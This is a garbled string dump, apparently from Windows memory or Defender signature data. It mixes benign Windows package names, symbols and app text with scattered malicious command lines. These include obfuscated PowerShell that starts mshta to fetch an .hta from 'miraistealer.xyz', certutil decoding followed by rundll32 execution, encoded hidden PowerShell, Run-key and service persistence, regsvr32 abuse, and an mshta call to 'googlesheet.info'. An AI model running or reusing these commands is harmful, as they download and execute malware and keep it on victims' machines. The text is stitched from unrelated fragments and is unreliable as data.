WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
Microsoft.Windows.WinRTClassActivation
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.OLE.Clipboard
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.OLE.DragDrop
Microsoft.Windows.DataExchange.DragDrop
c:\windows\system32\cmd.exe/cp""o""w""e""r""s""h""e""l""l/""w0""1$hawk=''+'i'+''+'e'+'x';salhawkeyes$hawk;$
c:\windows\system32\windowspowershell\v1.0\powershell.exe/c"start-process(('msht'+'a.e')+'x'+'e')-argumentlist(('ht'+'tp')+':'+'/'+'/'+'mir'+('ais'+'tea')+('ler'+'.xy')+('z'+'/exp/')+('in'+'dex.')+('h'+'ta'))-windowstylehidden"
WindowsDeleteString
WindowsConcatString
WindowsCreateStringReference
WindowsGetStringRawBuffer
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
WindowsCreateString
WindowsCompareStringOrdinal
WindowsDuplicateString
WindowsGetStringLen
WindowsIsStringEmpty
?OnFeatureConfigurationMessageReceived@FeatureConfigurationChannel@FeatureConfiguration@@SAXPE$AAVString@Platform@@PE$AAVJsonValue@Json@Data@Windows@@@Z
Hostecs.office.comGET /config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id= HTTP/1.1t
Cache-Controlno-cache/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
Microsoft.Windows.Cortana_cw5n1h2txyewy!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#ModifiedPageListBytes
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#StandbyCacheCoreBytes
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#StandbyCacheCoreBytes
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#AvailableBytes
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Defender.TeTest
9N1M64W9XZQ7Aliens: Dark Descent (Windows)https://store-images.s-microsoft.com/image/apps.52207.13898888461912760.834aa9dd-7399-4287-8be9-57be8cd1e516.de7deb43-0a06-4856-942f-523a1a4b72f7en
9N1M64W9XZQ7Aliens: Dark Descent (Windows)https://store-images.s-microsoft.com/image/apps.52207.13898888461912760.834aa9dd-7399-4287-8be9-57be8cd1e516.de7deb43-0a06-4856-942f-523a1a4b72f7fr
9N1M64W9XZQ7Aliens: Dark Descent (Windows)https://store-images.s-microsoft.com/image/apps.52207.13898888461912760.834aa9dd-7399-4287-8be9-57be8cd1e516.de7deb43-0a06-4856-942f-523a1a4b72f7de
tp://localhost:9001/sync/ActivityCenter/getProgressItemscaledAssetURLNearBundle_relativeKeyboardHeighttp://localhost:9001/sync/ActivityCenter/getStartupParamscanningStringetIsODIgnoreEnabledbuttonHeighttp://localhost:9001/sync/ActivityCenter/handleErrorActionPanResponderMovechevronRighttp://localhost:9001/sync/ActivityCenter/handleFooterActionPanResponderRejectcurrentHeighttp://localhost:9001/sync/ActivityCenter/handleHistoryItemActionPanResponderReleaseInEaseOutfeDistantLighttp://localhost:9001/sync/ActivityCenter/hideActivityCenterCoAuthLockedItemselectInfoAreaTextfeSpotLighttp://localhost:9001/sync/ActivityCenter/reportIssuefontLineHeighttp://localhost:9001/sync/ActivityCenter/sendActivityCenterUIActionTelemetrysuppressHighlightingColorgba(0, 0, 0, 0.6)footerRighttp://localhost:9001/sync/ActivityCenter/updateSyncStatusOfflineHeight300useDispatchSettingetHeighttp://localhost:9001/sync/ActivityCenter/updateVisualStateselectItemsHistorymarkerHeighttp://localhost:9001/sync/FloodgateSurvey/handleFloodgateSurveySubmiteresponderStartmaxHeighttp://localhost:9001/sync/FolderColor/getVisualStatearia-valueminHeighttp://localhost:9001/sync/FolderColor/handleCloseCustomViewarningBackground3isMiddleButtonextFocusRighttp://localhost:9001/sync/FolderColor/handleFolderColorSubmitemNameshadow8brand160autoCorrectPersonalAlreadyConfiguredLighttp://localhost:9001/sync/KFMOptOutSurvey/isKFMOptOutSurveyEnabledhttp://www.w3.org/2000/svgSourceHeighttp://localhost:9001/sync/RNCommon/ecsRampIDAwarenessExperimentreeChevronRighttp://localhost:9001/sync/RNCommon/logErroreturnsFalselectiveSyncDesktopFolderNametaKeyhttp://localhost:9001/sync/RNCommon/recordECSExperimentTelemetryhttp://localhost:9001/sync/RNCommon/recordNezhaTelemetryhttp://localhost:9001/sync/RNCommon/recordQoSTelemetryhttp://localhost:9001/sync/RNCommon/recordRNFunnelTelemetryhttp://localhost:9001/sync/RNCommon/translationscheduleLocalNotificationhttp://localhost:9001/sync/RNCommon/updateRingKillSwitchesTablehttp://localhost:9001/sync/RNCommon/updateRingRampsTablehttp://localhost:9001/sync/RNCommon/updateRingSettingsTablehttp://localhost:9001/sync/RNExitDialog/handleSurveySubmitAndExitDialogSlicehttp://localhost:9001/sync/RNSettings/getInitialTabContextProviderotate(-9.032 266.282 41.575)http://localhost:9001/sync/RNSettings/isDiamondIconInGMSButtonEnabledhttp://localhost:9001/sync/RNSettings/isGetMobileAppEnabledhttp://localhost:9001/sync/RNSettings/resourcescheduleRefreshareLoadingErrorotate(-132.764 184.23 2.392)scale(17.2374 26.1787)http://localhost:9001/sync/RNSettings/sendGetMobileAppTelemetryhttp://localhost:9001/sync/RNUnlinkSurvey/displayUnlinkSurveyViewhite0605http://localhost:9001/sync/RNUnlinkSurvey/handleCloselectWizardErrorPageMessageHandlerotate(-90 334.691 253.603)http://localhost:9001/sync/RNUnlinkSurvey/isRNUnlinkSurveyEnabledhttp://localhost:9001/sync/ReportABug/categoriescheduleRoothttp://localhost:9001/sync/ReportABug/closeDialogErrorAreact-i18next: the passed in object contained more than one variable - the object should look like {{ value, format }} where format is optional.http://localhost:9001/sync/ReportABug/getAllEnabledFeaturesetContextDependenciesectionPaddingetLanguagePartFromCodefaultDisabledBordereadBigInt64LEhttp://localhost:9001/sync/ReportABug/openChooseFileDialogCapturedErrorgba(0, 0, 0, 0.6063)http://localhost:9001/sync/SendFeedback/handleCloselectWizardWindowStatehttp://localhost:9001/sync/SendFeedback/isReportABugEnabledhttp://localhost:9001/sync/SendFeedback/sendUIActionTelemetryhttp://localhost:9001/sync/ShareLoading/handleCheckItemHistoryhttp://localhost:9001/sync/ShareLoading/handleCloselectableItemBackgroundBorderlessegmentIdhttp://localhost:9001/sync/ShareLoading/handleGetProgressItemActivatedhttp://localhost:9001/sync/ShareLoading/handleLaunchShareDialogToConsolehttp://localhost:9001/sync/chinaTypeApprovalPage/acceptClickedhttp://localhost:9001/sync/chooseRootFolder/changeRootLocationClickedhttp://localhost:9001/sync/chooseRootFolder/nextClickedhttp://localhost:9001/sync/emailPage/businessClickedhttp://localhost:9001/sync/emailPage/pers
utername!"-q^e^oxj^qzah=^nmh%windir%\system32\
windows11
2"appdata\local\microsoft\windows\hidden\drives"
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/7?
ystem.Windows.Browser
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windowsudk.shellcommon.dll
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe
ROOT\Microsoft\Windows\Storage\MS_409
ROOT\Microsoft\Windows\Storage\MS_409
Windows.Internal.Shell.Broker.dll
kfRc:\windows\system32\cscript.exe"sef468we54rer\wwww.vbs""
c:\windows\system32\cscript.exe"sef468we54rer\wwww.vbs""
echo---disable"ransomwaredatarecovery"sectionin"windowssecurity"
1M cmdrun="hkcu\\software\\microsoft\\windows\\currentversion\\run
onecoreuap\windows\advcore\winrt\directink\inkmanager\lib\inkmanager.cpp
onecoreuap\windows\advcore\winrt\directink\inkmanager\lib\strokebuilder.cpp
QWindowsDialogThread::run
QWindowsShellItem::urlValue
QWindowsNativeFileDialogBase::init
QWindowsNativeFileDialogBase::shellItem
QWindowsNativeFileDialogBase::doExec
QWindowsNativeFileDialogBase::setMode
QWindowsNativeFileDialogBase::selectNameFilter
QWindowsNativeFileDialogBase::onSelectionChange
QWindowsNativeFileDialogBase::close
QWindowsNativeOpenFileDialog::selectedFiles
QWindowsFileDialogHelper::setDirectory
QWindowsFileDialogHelper::selectFile
QWindowsFileDialogHelper::setFilter
QWindowsDialogHelperBase<class QPlatformFileDialogHelper>::exec
QWindowsDialogHelperBase<class QPlatformFileDialogHelper>::show
QWindowsDialogHelperBase<class QPlatformFileDialogHelper>::nativeDialog
QWindowsDialogHelperBase<class QPlatformFileDialogHelper>::cleanupThread
WindowsCustomMargins
QWindowsNativeInterface::nativeResourceForWindow
)MicrosoftWindows.59336768.Speion_cw5n1h2txyewy-Out-BlockP
:MicrosoftWindows.Client.Photon_cw5n1h2txyewy-In-Allow-ServerCapability
rundll32c:\programdata\docs.dll,xnshjjlkrg"%systemroot%\system32\imageres.dll
Windows.Data.UnifiedTile.LocalStartTilePropertiesMap
onecoreuap\shell\windows.storage\kfapi\staticapis.cpp
onecoreuap\shell\windows.storage\kfapi\utils.cpp
onecoreuap\shell\windows.storage\kfapi\kffacade.cpp
onecoreuap\shell\windows.storage\kfapi\folderpathresolver.cpp
onecoreuap\shell\windows.storage\kfapi\folderpathbuilder.cpp
onecoreuap\shell\windows.storage\kfapi\folderidlistbuilder.cpp
onecoreuap\shell\windows.storage\kfapi\folderpathregstorage.cpp
onecoreuap\shell\windows.storage\kfapi\registrykeyprovider.cpp
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
pWindowsE
pcshell\shell\windows.ui.shell\broker\unifiedtilemodel\lib\unifiedtileverbproviderdesktopbroker.cpp
pcshell\shell\windows.ui.shell\broker\startui\lib\tileimagehelpers.cpp
pcshell\shell\windows.ui.shell\broker\tileiconloader\lib\tileiconloader.cpp
pcshell\shell\windows.ui.shell\broker\jumpview\lib\jumpviewexperiencewrapper.cpp
pcshell\shell\windows.ui.shell\broker\taskbarpinning\lib\taskbarpinnablesurfacebroker.cpp
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
pcshell\shell\windows.ui.shell\broker\jumpview\lib\jumpviewparams.cpp
pcshell\shell\windows.ui.shell\broker\startui\lib\startexperienceclient.cpp
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Signals.TimestampCondition
Windows.Data.Signals.SystemStateCondition
Windows.Data.Signals.SignalMemoryCondition
Windows.Data.Signals.IndexerQueryCondition
Windows.Data.LocalRemovedKeyboards
Windows.Data.Settings.SettingsUsageHistory
Windows.Data.QuickActions.QuickActionLayout
Windows.Data.Signals.UsageHistoryCondition
Windows.Data.Platform.Partitioning.PartitionSet
Windows.Data.QuickActions.QuickAction
Windows.Data.QuickActions.QuickActionGroup
Windows.Data.Settings.SettingPageUsage
Windows.Data.Signals.Registrations
Windows.Data.Settings.MultiTasking.SnapWindows
Windows.Data.QuickActions.ControlCenterSettings
Windows.Data.Settings.RankedSettingEntry
Windows.Data.SharePicker.CopyLinkMRUItem
Windows.Data.SharePicker.BaseMRUItem
Windows.Data.SharePicker.MRUList
Windows.Data.SharePicker.MRUItem
Windows.Data.SharePicker.CustomAppMRUItem
CloudData.WindowsClient.CloudDataAvailableWnf
minimizeWindowsOnMonitorDisconnect
Windows.Data.Settings.DateTimeSettings.TimeZone
Windows.Data.Settings.Voice.VoiceSystemSettings
Windows.Data.SharePicker.AppMRUItem
Windows.Data.UnifiedTile.StartGlobalProperties
Windows.Data.Apps.DeviceMetaData
Windows.Data.Apps.PackagedProducts
Windows.Data.Apps.AppCompatProviderResults
Windows.Data.Apps.UnpackagedProducts
Windows.Data.Input.InkAndPen.ShellHandwriting
CloudData.WindowsClient.AssetReference
Windows.Data.Apps.AppLevelTileInfo
Windows.Data.UnifiedTile.StartTileProperties
Windows.Data.Apps.AppMatchingInfo
Windows.Data.UnifiedTile.TileProperties
Windows.Data.Apps.TileMatchingInRS
windowSizA
Windows.Data.Apps.ShortcutInfo
Windows.Data.Apps.AppMetaData
Windows.Data.Apps.IconInfo
Windows.Data.Apps.AppCompatInfo
Windows.Data.Apps.FileInfo
Windows.Data.LunarCalendar
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoftWindows.CrossDevice_cw5n1h2txyewy/
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
WindowsDeleteString
WindowsGetStringRawBuffer
Windows.Data.Common.Size
Windows.Data.Common.Color
Windows.Data.Common.Rect
Windows.Data.Common.Point
Windows.Data.PlaceholderTileCollection
ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.Platform.Partitioning.PartitionMetadata
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.PartitionInfo
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.SystemPartitionIndex
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartGlobalProperties
Windows.Data.UnifiedTile.LocalStartGlobalProperties
Windows.Data.UnifiedTile.RoamedTilePropertiesMap
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
s\system32\shell32.dll%
Microsoft.WindowsAppRuntime.dll
WindowsAppRuntime_EnsureIsLoaded
WindowsAppRuntime_IsSelfContained
WindowsAppRuntime_VersionInfo_MSIX_Framework_PackageFamilyName_Get
WindowsAppRuntime_VersionInfo_MSIX_Main_PackageFamilyName_Get
WindowsAppRuntime_VersionInfo_TestInitialize
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.RoamedTilePropertiesMap
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.GamesListTileProperties
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.GamesListTileProperties
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
Windows.Data.PlaceholderTile
WindowsVersion
ws\system32\cmd0
%programfiles(x86)%\N-able Technologies\Windows Agent\bin\agent.exe
C:\WINDOWS\TEMP\bb3a785178f443fda931098a5a9a306b.db
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32\cftmo.exehttp://www-afc.chrom3.net/images/
8yy++ "objShell.Run Base64Decode("= "C:\Windows\System32\w" + "script" + ".exe ""WScript." + "She" + "ll"+ "." + "v"
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Ink.InkManager
Microsoft.Windows.Ink.Eraser
Microsoft.Windows.UI.Input.Inking.DirectInk
Microsoft.Windows.UI.Input.Inking.TraceLogging
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Ink.DirectInk.InkPresenterRuler
Microsoft.Windows.Ink.InkFeedbackManager
Windows.UI.Input.Inking.pdb
system32\cmd.exe/ccallfiles.bat&cdfiles&"tiko.docx"
ir%\system32\imageres.dll%
mshta.exel-kelv<c:\windows\system32\$
c:\windows\system32\certutil.exe8-decodec:\users\public\ngs.txtc:\users\public\ngs.dll
c:\windows\system32\rundll32.exec:\users\public\ngs.dll
FC:\__w\1\s\dev\Common\WindowsAppRuntime.SelfContained.cpp
WindowsAppSDK framework PackageFamilyName resource not valid ("")
WindowsAppSDK main PackageFamilyName resource not valid ("")
C:\__w\1\s\dev\Common\WindowsAppRuntime.VersionInfo.cpp
enum winrt::Microsoft::Windows::System::Power::SystemSuspendStatus __cdecl winrt::Microsoft::Windows::System::Power::factory_implementation::PowerManager::SystemSuspendStatus(void)
void __cdecl winrt::Microsoft::Windows::System::Power::implementation::SystemSuspendStatus_Unregister(void)
enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode>,struct winrt::Microsoft::Windows::System::Power::factory_implementation::PowerManager &>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode>,void>::GetResults(void)
void __cdecl winrt::Microsoft::Windows::System::Power::implementation::SystemSuspendStatus_Register(void)
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\Microsoft.Windows.System.Power.PowerManager.g.h
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::Microsoft::Windows::System::Power::factory_implementation::PowerManagerT<struct winrt::Microsoft::Windows::System::Power::factory_implementation::PowerManager,struct winrt::Microsoft::Windows::System::Power::implementation::PowerManager,struct winrt::static_lifetime>::ActivateInstance(void) const
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode>,struct winrt::Microsoft::Windows::System::Power::factory_implementation::PowerManager &>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode>,void>::Cancel(void) noexcept
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode>,struct winrt::Microsoft::Windows::System::Power::factory_implementation::PowerManager &>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode>,void>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode> &)
auto __cdecl winrt::Windows::Foundation::AsyncOperationCompletedHandler<enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode>::operator ()(const struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode> &,const enum winrt::Windows::Foundation::AsyncStatus &) const
\system32\cmstp.exe\
qI\windows\system32\windowspowershell\v1.0\powershell.exe-nop-noni-execbypass-whidden-executionpolicybypass-noprofile-encodedcommandkaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algboaguadaauafcazqbiaemababpaguabgb0ackalgbeag8adwbuagwabwbhagqarg
o do Windows completa
Microsoft.Windows.Shell.SearchOptions
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.HardwareRequirements
.?AU?$default_delete@$$CBV?$cloud_store_data@UPlaceholderTileCollection@Data@Windows@@@wil@@@std@@
.?AU?$default_delete@$$CBV?$cloud_store_data@UPlaceholderTileCollectionLocal@Data@Windows@@@wil@@@std@@
@D@r-`nuq.\windowsz1xu720system32br-`nuq.xsystem32f2r`regsvr32.exejr`nup;.m(regsvr32.exeu3t?systemc:\windows\system32\regsvr32.exeltype:microsoftedgepdfdocumentsize:3kb./mrlpe.dll9%
Microsoft.Windows.Midi2.LoopbackMidiTransport
2^windows.fileTypeAssociation
windows.fileTypeAssociation
5^windows.webAccountProvider
windows.webAccountProvider
5^windows.appService
windows.appService
45^windows.appExtension
46^windows.appExtension
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.29
\\.\root\Microsoft\Windows\CI:__Win32Provider.Name="CIWmi"
sccreatewinmainsvctype=sharestart=autobinpath="c:\windows\system32\svchost.exe-kwinmainsvc"displayname="microsofthelpmanager"
dows\system32\windowspowershell\v1.0\powershell.exe-ecabvahcazqbyahmaaablagwabaagag0acwboahqayqagaggadab0ahaaogavac8ababpag4
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Kernel-Package-HAL-Events-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3912.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-StorageService-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
edge-emulate-windows-sku
..\..\base\win\windows_version.cc
WindowsVersion-major
WindowsVersion-minor
WindowsVersion-build
this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
software\\microsoft\\windows\\currentversion\\uninstall
schtasks/delete/tn"\windows\help"/f"%programdata%\lp3.
grisu.rsSoftware\Microsoft\Windows\CurrentVersion\Policies\SystemDisableTaskMgrwallpaper_albabat.jpg-----BEGIN RSA PUBLIC KEY----Ransom:Win32/Ryzerlo.YAA!MTB
:\windowsP
      <Color Name="ToolWindowShelf">
cmd.exe/q/ctype%systemroot%\system32\msh*.exe>%public%\msh&ren%public%\**ta.exe&for%iin(%public%\ms*.exe)dostart/b%~ni"https://www.googlesheet.info/nzrtnpvmtfjcsmz8n1hzzzvhqvuueffnimayliqur+a="
Software\Microsoft\Windows\CurrentVersion\Uninstall\Flsen\Katt
